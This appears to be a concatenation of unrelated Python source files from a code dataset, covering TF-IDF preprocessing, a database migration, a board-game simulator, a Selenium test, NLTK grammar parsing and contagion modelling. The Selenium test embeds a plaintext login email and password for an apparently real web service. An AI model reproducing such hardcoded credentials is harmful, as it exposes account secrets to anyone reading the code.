password=data['mysql']['passwd'],\n host=data['mysql']['host'],\n database=data['mysql']['db'])\ncursor = cnx.cursor()\n\nquery = (\"SELECT id, description FROM cs_entry_comment WHERE entry_id IS NOT NULL AND status IN (1,2)\")\n\ncursor.execute(query)\n\ndictionary = loadDict()\nf = open('preprocessing/normalize_like.txt', 'r')\nreview_views = {}\nfor line in f:\n tmp = line.split(\",\")\n review_views[tmp[0]] = tmp[1]\n\nconvertedData = open('converted_data.txt', 'w')\nidf = open('neural_network/idf.txt', 'w')\n\ndocW = {}\nfor w in dictionary:\n docW[w] = 0\ndocTotal = 0\n\nprint(\"IDF Step ======================\")\nfor (id, description) in cursor:\n print(id)\n docTotal += 1\n num_words = 0\n doc = {}\n for w in dictionary:\n doc[w] = 0\n\n node = mecab.parseToNode(description.encode('utf-8'))\n while node:\n word = node.surface\n features = node.feature.split(\",\")\n wtype = features[0]\n if (len(features) > 6) and features[6]:\n word = features[6]\n\n if (wtype == \"名詞\" or wtype == \"動詞\" or wtype == \"形容詞\"):\n if (word in doc):\n doc[word] += 1\n num_words += 1\n \n node = node.next\n\n for w in dictionary:\n if (doc[w] > 0):\n docW[w] += 1\n\nidfW = {}\nfor w in dictionary:\n idfW[w] = math.log(docTotal/docW[w])\n idf.write(\"%s,%f\\n\" % (w, idfW[w]))\n \nidf.close()\n\nprint(\"TF Step ======================\")\ncursor.execute(query)\nfor (id, description) in cursor:\n print(id)\n num_words = 0\n doc = {}\n for w in dictionary:\n doc[w] = 0\n\n node = mecab.parseToNode(description.encode('utf-8'))\n while node:\n word = node.surface\n features = node.feature.split(\",\")\n wtype = features[0]\n if (len(features) > 6) and not features[6]:\n word = features[6]\n \n if (wtype == \"名詞\" or wtype == \"動詞\" or wtype == \"形容詞\"):\n if (word in doc):\n doc[word] += 1\n num_words += 1\n \n node = node.next\n\n if (str(id) in review_views):\n views = int(review_views[str(id)])\n else:\n views = 0\n \n convertedData.write(\"%d,%d\" % (id, views))\n # convertedData.write(\"%d,%d,%d\" % (id, views, num_words))\n for w, freq in doc.items():\n if num_words == 0:\n tf = 0\n else:\n tf = float(freq) / num_words\n\n convertedData.write(\",%f\" % (tf * idfW[w]))\n\n convertedData.write(\"\\n\")\n\nconvertedData.close()\ncursor.close()\ncnx.close()","sub_path":"preprocessing/tf-idf-convert_review.py","file_name":"tf-idf-convert_review.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"397648031","text":"\"\"\"line_user_id aws_user_name not uniqe\n\nRevision ID: 76824af212c2\nRevises: 216d42d7a4f4\nCreate Date: 2019-03-06 13:42:38.393511\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '76824af212c2'\ndown_revision = '216d42d7a4f4'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('aws_user_name', table_name='users')\n op.drop_index('line_user_id', table_name='users')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index('line_user_id', 'users', ['line_user_id'], unique=True)\n op.create_index('aws_user_name', 'users', ['aws_user_name'], unique=True)\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/76824af212c2_line_user_id_aws_user_name_not_uniqe.py","file_name":"76824af212c2_line_user_id_aws_user_name_not_uniqe.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"519233272","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nClass to simulate the environnement and build the game decision tree.\r\nAll possbile actions for a turn will be considered and scored.\r\n\"\"\"\r\n\r\nMAP_SIZE = 10\r\nMAP_PATHS = [{1, 4}, {0, 2}, {1, 3}, {2, 7}, {0, 5, 8},\r\n {4, 6}, {5, 7}, {3, 6, 9}, {4, 9}, {7, 8}]\r\n\r\nMAP_PINK_PATHS = [{1, 4}, {0, 2, 5, 7}, {1, 3, 6}, {2, 7}, {0, 5, 8, 9},\r\n {4, 6, 1, 8}, {5, 7, 2, 9}, {3, 6, 9, 1}, {4, 9, 5},\r\n {7, 8, 4, 6}]\r\n\r\nBEFORE_POWER = {\"purple\", \"brown\"}\r\nAFTER_POWER = {\"black\", \"white\", \"red\", \"blue\", \"grey\"}\r\n\r\nclass World():\r\n \r\n def __init__(self):\r\n self._game_state = None\r\n\r\n def set_env(self, game_state):\r\n self._game_state = game_state\r\n \r\n def get_adjacent_positions(self, position, color, blocked):\r\n if color == 'pink':\r\n active_passages = MAP_PINK_PATHS\r\n else:\r\n active_passages = MAP_PATHS\r\n return [room for room in active_passages[position] if set([room, position]) != set(blocked)]\r\n\r\n def get_positions(self, card, game_state):\r\n characters_in_room = [q for q in game_state['character_cards'] if q['position'] == card['position']]\r\n number_of_characters_in_room = len(characters_in_room)\r\n available_rooms = []\r\n available_rooms.append(self.get_adjacent_positions(card['position'], card['color'], game_state['blocked']))\r\n for step in range(1, number_of_characters_in_room):\r\n next_rooms = []\r\n for room in available_rooms[step - 1]:\r\n next_rooms += self.get_adjacent_positions(room, card['color'], game_state['blocked'])\r\n available_rooms.append(next_rooms)\r\n temp = []\r\n for sublist in available_rooms:\r\n for room in sublist:\r\n temp.append(room)\r\n temp = set(temp)\r\n available_positions = list(temp)\r\n if card['position'] in available_positions:\r\n available_positions.remove(card['position']) \r\n return available_positions\r\n\r\n \r\n def step(self, decision, game_state, fantom):\r\n new_game_state = game_state\r\n \r\n # Positions\r\n L = len(new_game_state['characters'])\r\n for l in range(0, L):\r\n if new_game_state['characters'][l]['color'] == decision['color']:\r\n new_game_state['characters'][l]['position'] = decision['position']\r\n break\r\n\r\n # Positions\r\n L = len(new_game_state['character_cards'])\r\n for l in range(0, L):\r\n if new_game_state['character_cards'][l]['color'] == decision['color']:\r\n new_game_state['character_cards'][l]['position'] = decision['position']\r\n break\r\n\r\n # Positions\r\n L = len(new_game_state['active character_cards'])\r\n for l in range(0, L):\r\n if new_game_state['active character_cards'][l]['color'] == decision['color']:\r\n new_game_state['active character_cards'].remove(new_game_state['active character_cards'][l])\r\n break\r\n \r\n # Shadow\r\n if decision['color'] == 'grey':\r\n new_game_state['shadow'] = decision['grey character power']\r\n\r\n # Get fantom\r\n for char in new_game_state['character_cards']:\r\n if char['color'] == fantom:\r\n fantom = char\r\n break\r\n if fantom == None:\r\n return 0\r\n\r\n # Suspects in character cards\r\n characters_in_room = len([q for q in new_game_state['character_cards'] if q['position'] == fantom['position']])\r\n if characters_in_room == 1 or fantom['position'] == new_game_state['shadow']:\r\n for index, char in enumerate(new_game_state['character_cards']):\r\n characters_in_room = len([q for q in new_game_state['character_cards'] if q['position'] == char['position']])\r\n if characters_in_room > 1 and char['position'] != new_game_state['shadow']:\r\n new_game_state['character_cards'][index]['suspect'] = False\r\n else:\r\n for index, char in enumerate(new_game_state['character_cards']):\r\n characters_in_room = len([q for q in new_game_state['character_cards'] if q['position'] == char['position']])\r\n if characters_in_room == 1 or char['position'] == new_game_state['shadow']:\r\n new_game_state['character_cards'][index]['suspect'] = False\r\n\r\n # Suspects in active character cards\r\n characters_in_room = len([q for q in new_game_state['active character_cards'] if q['position'] == fantom['position']])\r\n if characters_in_room == 1 or fantom['position'] == new_game_state['shadow']:\r\n for index, char in enumerate(new_game_state['active character_cards']):\r\n characters_in_room = len([q for q in new_game_state['active character_cards'] if q['position'] == char['position']])\r\n if characters_in_room > 1 and char['position'] != new_game_state['shadow']:\r\n new_game_state['active character_cards'][index]['suspect'] = False\r\n else:\r\n for index, char in enumerate(new_game_state['active character_cards']):\r\n characters_in_room = len([q for q in new_game_state['active character_cards'] if q['position'] == char['position']])\r\n if characters_in_room == 1 or char['position'] == new_game_state['shadow']:\r\n new_game_state['active character_cards'][index]['suspect'] = False\r\n\r\n return new_game_state\r\n\r\n def compute_value_fantom(self, decision, game_state, fantom):\r\n new_game_state = self.step(decision, game_state, fantom)\r\n for char in new_game_state['character_cards']:\r\n if char['color'] == fantom:\r\n fantom = char\r\n break\r\n if fantom == None:\r\n return 0\r\n\r\n score = 0\r\n characters_in_room = len([q for q in new_game_state['character_cards'] if q['position'] == fantom['position']])\r\n \r\n if characters_in_room == 1 or fantom['position'] == new_game_state['shadow']:\r\n score = score + 1\r\n for index, char in enumerate(new_game_state['character_cards']):\r\n characters_in_room = len([q for q in new_game_state['character_cards'] if q['position'] == char['position']])\r\n if characters_in_room > 1 and char['position'] != new_game_state['shadow']:\r\n new_game_state['character_cards'][index]['suspect'] = False\r\n \r\n else:\r\n for index, char in enumerate(new_game_state['character_cards']):\r\n characters_in_room = len([q for q in new_game_state['character_cards'] if q['position'] == char['position']])\r\n if characters_in_room == 1 or char['position'] == new_game_state['shadow']:\r\n new_game_state['character_cards'][index]['suspect'] = False\r\n\r\n score = score + len([q for q in new_game_state['character_cards'] if q['suspect'] == True])\r\n return score\r\n\r\n def compute_value_inspector(self, decision, game_state):\r\n score = 0 \r\n for char in game_state['character_cards']:\r\n if char['suspect'] == True: \r\n score = score + self.compute_value_fantom(decision, game_state, char['color'])\r\n return -score\r\n\r\n \r\n def get_possible_actions(self, game_state, fantom=False):\r\n active_cards = game_state['active character_cards']\r\n actions = []\r\n \r\n # Get all possible colors \r\n for card in active_cards:\r\n \r\n # Character node\r\n color = card['color']\r\n \r\n # Get all possible positions\r\n positions = self.get_positions(card, game_state)\r\n for position in positions:\r\n \r\n decision = {}\r\n decision['color'] = color\r\n decision['position'] = position\r\n\r\n if color == 'grey':\r\n for index in range (0, 10):\r\n if index != game_state['shadow']:\r\n decision['grey character power'] = index\r\n\r\n if fantom == True:\r\n decision['value'] = self.compute_value_fantom(decision, game_state, game_state['fantom'])\r\n else:\r\n decision['value'] = self.compute_value_inspector(decision, game_state)\r\n actions.append(decision)\r\n \r\n return actions\r\n","sub_path":"castillejos_src/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":8589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"121261130","text":"from HtmlTestRunner import HTMLTestRunner\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support.ui import Select\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nimport unittest, time, re, os\r\n\r\n\r\nclass TestNotebookJoe(unittest.TestCase):\r\n\r\n def test_sharenotebook(self):\r\n driver = joelogin()\r\n driver.find_element_by_xpath(\"//*[@id='acceptForm']/input[3]']\").click()\r\n driver.close()\r\n\r\n\r\ndef joelogin():\r\n driver = webdriver.Chrome('C:\\\\Users\\\\QingW\\\\PycharmProjects\\\\FirstSeleium\\\\Driver\\\\chromedriver.exe')\r\n driver.get('https://model.arxspan.com/login.asp')\r\n driver.maximize_window()\r\n driver.find_element_by_id('login-email').send_keys('joe@demo.com')\r\n driver.find_element_by_id('login-pass').send_keys('carbonCopee')\r\n driver.find_element_by_id('login-submit').send_keys(Keys.RETURN)\r\n select = Select(driver.find_element_by_tag_name('select'))\r\n select.select_by_visible_text('Demo')\r\n driver.find_element_by_id('login-submit').send_keys(Keys.ENTER)\r\n return driver\r\n\r\n\r\nlistaa = 'C:\\\\Users\\\\QingW\\\\PycharmProjects\\\\FirstSeleium\\\\ArxspanAutomationTest\\\\notebook_test'\r\n\r\n\r\ndef createsuite1():\r\n testunit=unittest.TestSuite()\r\n discover = unittest.defaultTestLoader.discover(listaa, pattern='*.py', top_level_dir=None)\r\n for test_suite in discover:\r\n for test_case in test_suite:\r\n testunit.addTests(test_case)\r\n print(testunit)\r\n return testunit\r\n\r\n\r\ncurrenttime = time.strftime(\"%Y-%m-%d %H_%M_%S\", time.localtime(time.time()))\r\nreportfile = 'ResultReport' + currenttime + '.html'\r\nfilename = 'C:\\\\Users\\\\QingW\\\\PycharmProjects\\\\FirstSeleium\\\\reports\\\\result.html'\r\nfp = open(filename, 'wb')\r\nfilepath = 'C:\\\\Users\\\\QingW\\\\PycharmProjects\\\\FirstSeleium\\\\reports'\r\n\r\nrunner = HTMLTestRunner(output=filepath)\r\n\r\nrunner.run(createsuite1())\r\n\r\nfp.close()\r\n\r\n","sub_path":"Notebookshare_test_Joe.py","file_name":"Notebookshare_test_Joe.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"254905221","text":"# Context Free Grammar to parse 4 given sentences\n\nimport nltk\nfrom nltk import FreqDist\n\ngrammar = nltk.CFG.fromstring(\"\"\"\nS -> NP VP | VP\nNP -> PRP | DT ADJP NN | NN | PRP NNS | CD NNS\nVP -> VBD NP NP | MD VP | VB ADVP | VBP RB ADVP ADJP | VBD S | TO VP | VB NP ADVP\nADVP -> RB | NP RB\nNNS -> \"kids\" | \"days\"\nRB -> \"now\" | \"always\" | \"not\" | \"ago\"\nVB -> \"go\" | \"visit\"\nMD -> \"may\"\nADJP -> JJ \nPRP -> \"We\" |\"You\" | \"Their\" | \"She\" | \"me\"\nVBD -> \"had\" | \"came\"\nCD -> \"two\"\nVBP -> \"are\"\nDT -> \"a\"\nTO -> \"to\"\nJJ -> \"nice\" | \"naive\"\nNN -> \"party\" | \"yesterday\"\n\"\"\")\n\n\n# parsing first sentence - \"We had a nice party yesterday\"\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"We had a nice party yesterday\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n\n\n\n# parsing second sentence - \"She came to visit me two days ago\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"She came to visit me two days ago\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n\n# parsing third sentence - \"You may go now\"\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"You may go now\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n\n\n# parsing fourth sentence - \"Their kids are not always naive\"\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"Their kids are not always naive\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n\n# sample sentence 1\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"She may visit now\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n# sample sentence 2\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"You are not always nice\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n\n# sample sentence 3\nrd_parser = nltk.RecursiveDescentParser(grammar)\nsenttext = \"She came two kids yesterday\"\nsentlist = senttext.split()\nprint(sentlist)\n\ntrees = rd_parser.parse(sentlist)\ntrees\ntreelist = list(trees)\n\ntype(treelist[0]) \nfor tree in treelist:\n print (tree)\n\n\n# Creating a mini corpus of 4 given sentences to get the probablistic \n# frequency of each given word\ncorpus = \"We had a nice party yesterday She came to visit me two days ago You may go now Their kids are not always naive\"\ncorpus_words = corpus.split()\nfdist = FreqDist(corpus_words)\n# fdist for each pair is 1 which means that each word occurs with the equal probablity\nfdist\n\n\n\n# Probablistic Grammar\n# The probabilities for each non-terminal symbol must add up to 1\n\nprob_grammar = nltk.PCFG.fromstring(\"\"\"\nS -> NP VP[0.9] | VP [0.1]\nNP -> PRP [0.5]| DT ADJP NN [0.2]| NN [0.1]| PRP NNS [0.1]| CD NNS[0.1]\nVP -> VBD NP NP [0.3]| MD VP [0.2]| VB ADVP[0.1] | VBP RB ADVP ADJP[0.1] | VBD S [0.1]| TO VP[0.1] | VB NP ADVP[0.1]\nADVP -> RB [0.5]| NP RB[0.5]\nNNS -> \"kids\"[0.5] | \"days\"[0.5]\nRB -> \"now\"[0.25] | \"always\"[0.25] | \"not\"[0.25] | \"ago\"[0.25]\nVB -> \"go\"[0.5] | \"visit\"[0.5]\nMD -> \"may\"[1.0]\nADJP -> JJ [1.0]\nPRP -> \"We\" [0.2]|\"You\"[0.2] | \"Their\"[0.2] | \"She\"[0.2] | \"me\"[0.2]\nVBD -> \"had\"[0.5] | \"came\"[0.5]\nCD -> \"two\"[1.0]\nVBP -> \"are\"[1.0]\nDT -> \"a\"[1.0]\nTO -> \"to\"[1.0]\nJJ -> \"nice\" [0.5]| \"naive\"[0.5]\nNN -> \"party\" [0.5]| \"yesterday\"[0.5]\n\"\"\")\n\nviterbi_parser = nltk.ViterbiParser(prob_grammar)\n\nfor tree in viterbi_parser.parse(['We' ,'had','a', 'nice', 'party', 'yesterday']):\n print (tree)\n\nfor tree in viterbi_parser.parse(['She' ,'came', 'to', 'visit', 'me' ,'two' ,'days', 'ago']):\n print (tree)\n\nfor tree in viterbi_parser.parse(['You' ,'may', 'go' ,'now']):\n print (tree)\n\nfor tree in viterbi_parser.parse(['Their', 'kids', 'are', 'not' ,'always', 'naive']):\n print (tree)","sub_path":"HomeWork3/python_processing_code.py","file_name":"python_processing_code.py","file_ext":"py","file_size_in_byte":4261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"187727024","text":"import tkinter as tk\nimport MainScreenGUI as MSGUI\n\ndef Main():\n '''\n\t\tInitialises the GUI object and opens the main screen window\n\t\t\n\t\tParameters\n\t\t----------\n\n\t\tReturns\n\t\t-------\n\n\t\tSee Also\n\t\t--------\n\t\t'''\n root = tk.Tk()\n root.title('Forest Schools Volunteer Managment')\n root.config(background = 'blue')\n root.geometry('800x500+100+100')\n MainScreen = MSGUI.MainScreen(root, Database, Cursor)\n root.mainloop()\n\nMain()","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"556880545","text":"from organdonationwebapp import hc\n\nclass HospitalHome(object):\n def __init__(self,emailID,logger):\n self.hospitalEmail = emailID\n self.logger = logger\n \n\n def getHospitalName(self):\n try:\n self.logger.info(\"getHospitalName logger initilized\")\n hospital_name = hc.getHospitalName(self.hospitalEmail, self.logger)\n if(hospital_name):\n return (hospital_name[0])\n else:\n self.logger.info(\" getHospitalName returned None value\")\n return None\n except Exception as err:\n self.logger.error(err)\n return err","sub_path":"organdonationwebapp/Hospital/HospitalHome.py","file_name":"HospitalHome.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"238082480","text":"import numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport json\nimport argparse\nfrom hgcm import *\nfrom hgcm.ode import hrate\nfrom hgcm.ode import nlrate\nfrom scipy.integrate import odeint\n\nparser = argparse.ArgumentParser(description='Solutions using rate equations')\nparser.add_argument('file', type=str, help='Configuration file')\nargs = parser.parse_args()\n\n#import parameters\n#=================\nconfig_file = args.file\n\nwith open(config_file, 'r') as file:\n config = json.load(file)\n\n#unpack\n#structure\nnmax = config['nmax']\nmmax = config['mmax']\nmmin = config['mmin']\nqm = np.array(config['qm'])\npn = np.array(config['pn'])\n\n#rate\npy_n = np.array(config['py_n'])\npyn = get_joint(py_n,pn)\nymax = config['ymax']\nrate = np.array(config['rate'])\nmean_rate = config['mean_rate']\n\n#contagion\ninitial_density = config['initial_density']\nt = np.array(config['t'])\n\n#experience info\nres_file = config['res_file']\ndesc = config['desc']\n\n#to save the results, including config\nresults = {key:res for key,res in config.items()}\n\ndo_comp = True\nif do_comp:\n #Complete dynamics\n #==================\n\n #initialize\n state_meta = hrate.get_state_meta(mmax, nmax, ymax, rate, qm, pyn)\n Im,Sm,Gyni = hrate.initialize(state_meta, initial_density=initial_density)\n v = np.concatenate((Im,Sm,Gyni.reshape((ymax+1)*(nmax+1)**2)))\n\n #integrate manually\n vvec_comp = odeint(hrate.vector_field,v,t,args=(state_meta,'SIS'), hmax=10**(-2))\n S_comp = np.array([np.sum(v[mmax+1:2*mmax+2]) for v in vvec_comp])\n I_comp = 1 - S_comp\n\n #get effective rate, inf_mat, and rho at each time\n eff_rate_list = []\n rho_list = []\n Gyi_list = []\n dGyi_list = []\n # print(hrate.unflatten(vvec_comp[-1],state_meta)[1])\n for v in vvec_comp:\n Im,Sm,Gyni = hrate.unflatten(v,state_meta)\n dv = hrate.vector_field(v,0,state_meta) #dummy time not used\n dIm,dSm,dGyni = hrate.unflatten(dv, state_meta)\n Gyi_list.append(np.array([Gyni[:,nmax,i] for i in range(nmax+1)]).T)\n dGyi_list.append(np.array([dGyni[:,nmax,i] for i in range(nmax+1)]).T)\n eff_rate_list.append(exact_effective_rate(rate,Gyni,nmax))\n rho_list.append(hrate.get_rho(Sm,Gyni,state_meta))\n\n results['Gyi_list'] = Gyi_list\n results['dGyi_list'] = dGyi_list\n results['S_comp'] = S_comp\n results['I_comp'] = I_comp\n results['eff_rate_list'] = eff_rate_list\n results['rho_list'] = rho_list\n\n#critical effective rate\n#===========================\neff_rate = critical_effective_rate(rate,py_n,ymax,nmax)\ninf_mat = eff_rate*np.arange(nmax+1)\nstate_meta = nlrate.get_state_meta(mmax, nmax, qm, pn)\n\nIm,Sm,Gni = nlrate.initialize(state_meta, initial_density=initial_density)\nv = np.concatenate((Im,Sm,Gni.reshape((nmax+1)**2)))\n\n#integrate manually\nvvec_crit = odeint(nlrate.vector_field,v,t,args=(inf_mat,state_meta,'SIS'))\nS_crit = np.array([np.sum(v[mmax+1:2*mmax+2]) for v in vvec_crit])\nI_crit = np.array([np.sum(v[:mmax+1]) for v in vvec_crit])\n\n#save\nresults['crit_eff_rate'] = eff_rate\nresults['S_crit'] = S_crit\nresults['I_crit'] = I_crit\n\n# #quasistatic rate approximation\n# #===================================\n# #initialize\n# state_meta = nlrate.get_state_meta(mmax, nmax, qm, pn)\n# Im,Sm,Gni = nlrate.initialize(state_meta, initial_density=initial_density)\n\n# v = np.concatenate((Im,Sm,Gni.reshape((nmax+1)**2)))\n\n# #integrate manually\n# vvec_qs = odeint(qs_vector_field,v,t,\n # args=(state_meta,rate,pyn,ymax))\n# S_qs = np.array([np.sum(v[mmax+1:2*mmax+2]) for v in vvec_qs])\n# I_qs = np.array([np.sum(v[:mmax+1]) for v in vvec_qs])\n\n\n# #save\n# results['I_qs'] = I_qs\n# results['S_qs'] = S_qs\n\n\n#eigenvector effective rate\n#==========================\nexcess_membership = excess_susceptible_membership(np.arange(mmax+1),qm)\nvyni = get_leading_eigenvector(excess_membership,rate,pn,pyn,ymax,nmax, nb_iter=10000, verbose=True,\n alpha=0.005, model='SIS')\neff_rate = exact_effective_rate(rate,vyni,nmax)\nprint(eff_rate)\ninf_mat = eff_rate*np.arange(nmax+1)\nstate_meta = nlrate.get_state_meta(mmax, nmax, qm, pn)\n\nIm,Sm,Gni = nlrate.initialize(state_meta, initial_density=initial_density)\nv = np.concatenate((Im,Sm,Gni.reshape((nmax+1)**2)))\n\n#integrate manually\nvvec_ev = odeint(nlrate.vector_field,v,t,args=(inf_mat,state_meta,'SIS'))\nS_ev = np.array([np.sum(v[mmax+1:2*mmax+2]) for v in vvec_ev])\nI_ev = np.array([np.sum(v[:mmax+1]) for v in vvec_ev])\n\n#save\nresults['ev_eff_rate'] = eff_rate\nresults['S_ev'] = S_ev\nresults['I_ev'] = I_ev\n\n#Mean rate approximation\n#=======================\n\ninf_mat = np.array([mean_rate*np.arange(nmax+1) for n in range(nmax+1)])\nstate_meta = nlrate.get_state_meta(mmax, nmax, qm, pn)\n\nIm,Sm,Gni = nlrate.initialize(state_meta, initial_density=initial_density)\nv = np.concatenate((Im,Sm,Gni.reshape((nmax+1)**2)))\n\n#integrate manually\nvvec_mean = odeint(nlrate.vector_field,v,t,args=(inf_mat,state_meta,'SIS'))\nS_mean = np.array([np.sum(v[mmax+1:2*mmax+2]) for v in vvec_mean])\nI_mean = np.array([np.sum(v[:mmax+1]) for v in vvec_mean])\n\n\n#save\nresults['vvec_mean'] = vvec_mean\nresults['I_mean'] = I_mean\nresults['S_mean'] = S_mean\n\npickle.dump(results, open(res_file, \"wb\" ))\n","sub_path":"time-evo-SIS/datagen_hgcm.py","file_name":"datagen_hgcm.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"257022730","text":"'''\r\nUn file di compiti contiene informazioni su un insieme di compiti da eseguire.\r\nEsistono due tipologie di compiti:\r\n\r\n- compiti che possono essere eseguiti indipendentemente dagli altri.\r\n\r\n- compiti da svolgere solo al termine di un compito preliminare.\r\n\r\nI compiti del primo tipo sono codificati nel file mediante una linea che contiene\r\nin sequenza le due sottostringhe \"comp\" ed \"N\" (senza virgolette) eventualmente inframmezzate, \r\nprecedute e/o seguite da spazi. \"N\" e' l'ID del compito (un numero positivo).\r\n\r\nCompiti del secondo tipo sono codificati nel file mediante due linee di codice.\r\n\r\n-- la prima linea, contiene in sequenza le due sottostringhe \"comp\" ed \"N\" \r\n(senza virgolette) eventualmente inframmezzate, \r\nprecedute e/o seguite da spazi. \"N\" e' l'ID del compito (un numero positivo).\r\n\r\n-- la seconda linea (immediatamente successiva nel file) contiene \r\nin sequenza le due sottostringhe \"sub\" ed \"M\" (senza virgolette) eventualmente inframmezzate, \r\nprecedute e/o seguite da spazi. \"M\" e' l'ID del compito preliminare.\r\n\r\n\r\nil seguente file di compiti contiene informazioni su 4 compiti (con identificativi 1,3,7 e 9). \r\nI compiti con identificativi 1 e 9 possono essere svolti indipendentemente dagli altri mentre i compiti \r\ncon identificativo 3 e 7 hanno entrambi un compito preliminare.\r\n\r\n\r\ncomp 3\r\n sub 9\r\n comp1\r\ncomp 9\r\n comp 7\r\nsub3\r\n\r\n\r\nScrivere la funzione pianifica(fcompiti,insi,fout) che prende in input:\r\n\r\n- il percorso di un file (fcompiti) \r\n\r\n- un insieme di ID di compiti da cercare (insi)\r\n\r\n- ed il percorso di un file (fout) \r\ne che salva in formato JSON nel file fout un dizionario (risultato).\r\n\r\n\r\nIl dizionario (risultato) dovra' contenere come chiavi gli identificativi (ID) dei compiti \r\npresenti in fcompiti e richiesti nell'insieme insi.\r\nAssociata ad ogni ID x del dizionario deve esserci una lista contenente gli identificativi (ID) dei compiti \r\nche bisogna eseguire prima di poter eseguire il compito x richiesto\r\n(ovviamente la lista di un ID di un compito che non richie un compito preliminare risultera' vuota ). \r\nGli (ID) devono comparire nella lista nell'ordine di esecuzione corretto, dal primo fino a quello precedente a quello richiesto \r\n(ovviamente il primo ID di una lista non vuota corripondera' sempre ad un compito che non richiede un compito preliminare). \r\n\r\n\r\n\r\nSi puo' assumere che:\r\n \r\n- se l' ID di un compito che richieda un compito preliminare e' presente in fcompiti \r\n allora anche l'ID di quest'ultimo e' presente in fcompiti\r\n \r\n- la sequenza da associare al compito ID del dizionario esiste sempre\r\n \r\n- non esistono cicli (compiti che richiedono se' stessi anche indirettamente)\r\n\r\n\r\n \r\nAd esempio per il file di compiti fcompiti contenente:\r\n\r\ncomp 3\r\n sub 9\r\n comp1\r\ncomp 9\r\n comp 7\r\nsub3\r\n\r\nal termine dell'esecuzione di pianifica(fcompiti,{'7','1','5'}, 'a.json')\r\nil file 'a.json' deve contenere il seguente dizionario\r\n{'7':['9','3'],'1':[]}\r\n\r\n\r\nPer altri esempi vedere il file grade02.txt\r\n\r\n\r\nAVVERTENZE:\r\n\tnon usare caratteri non ASCII, come le lettere accentate;\r\n\tnon usare moduli che non sono nella libreria standard.\r\nNOTA: l'encoding del file e' 'utf-8'\r\nATTENZIONE: Se un test del grader non termina entro 10 secondi il punteggio di quel test e' zero.\r\n'''\r\nimport json \r\ndef pianifica(fcom,insi,fout):\r\n fcompiti=open(fcom)\r\n\r\n #print(\"2\")\r\n f=[]\r\n t=[]\r\n d={}\r\n for r in fcompiti:\r\n r1=r.replace('comp','comp ')\r\n r2=r1.replace('sub','sub ')\r\n l=r2.strip().split()\r\n #print(l)\r\n f.append(l[0])\r\n t.append(l[1])\r\n \r\n for i in range(len(f)-1):\r\n if f[i]=='comp' and f[i+1]=='sub':\r\n d[t[i]]=[t[i+1]]\r\n elif f[i]=='comp' and f[i+1]=='comp':\r\n d[t[i]]=[]\r\n if f[-1]=='comp':\r\n d[t[-1]]=[]\r\n #print(d,'sono qui') \r\n \r\n\r\n \r\n #return\r\n# print(pianifica(fcompiti))\r\n ris={}\r\n for e in insi:\r\n g=[]\r\n if e in d:\r\n if d[e]==0:\r\n g=[]\r\n #print(e,g)\r\n else:\r\n c=d[e]\r\n #print(e,c,'ora qui')\r\n while c!=[]:\r\n #print('sono entrato nel while')\r\n g.insert(0,c[0])\r\n # print('dopo insert')\r\n c=d[c[0]]\r\n # print(e,g,c,'lollo')\r\n ris[e]= g\r\n #print(ris)\r\n with open(fout,'w') as f:\r\n json.dump(ris,f) \r\n #return (pianifica(fcompiti,insi,fout))\r\n# \r\n# \r\n\r\n \r\n \r\n 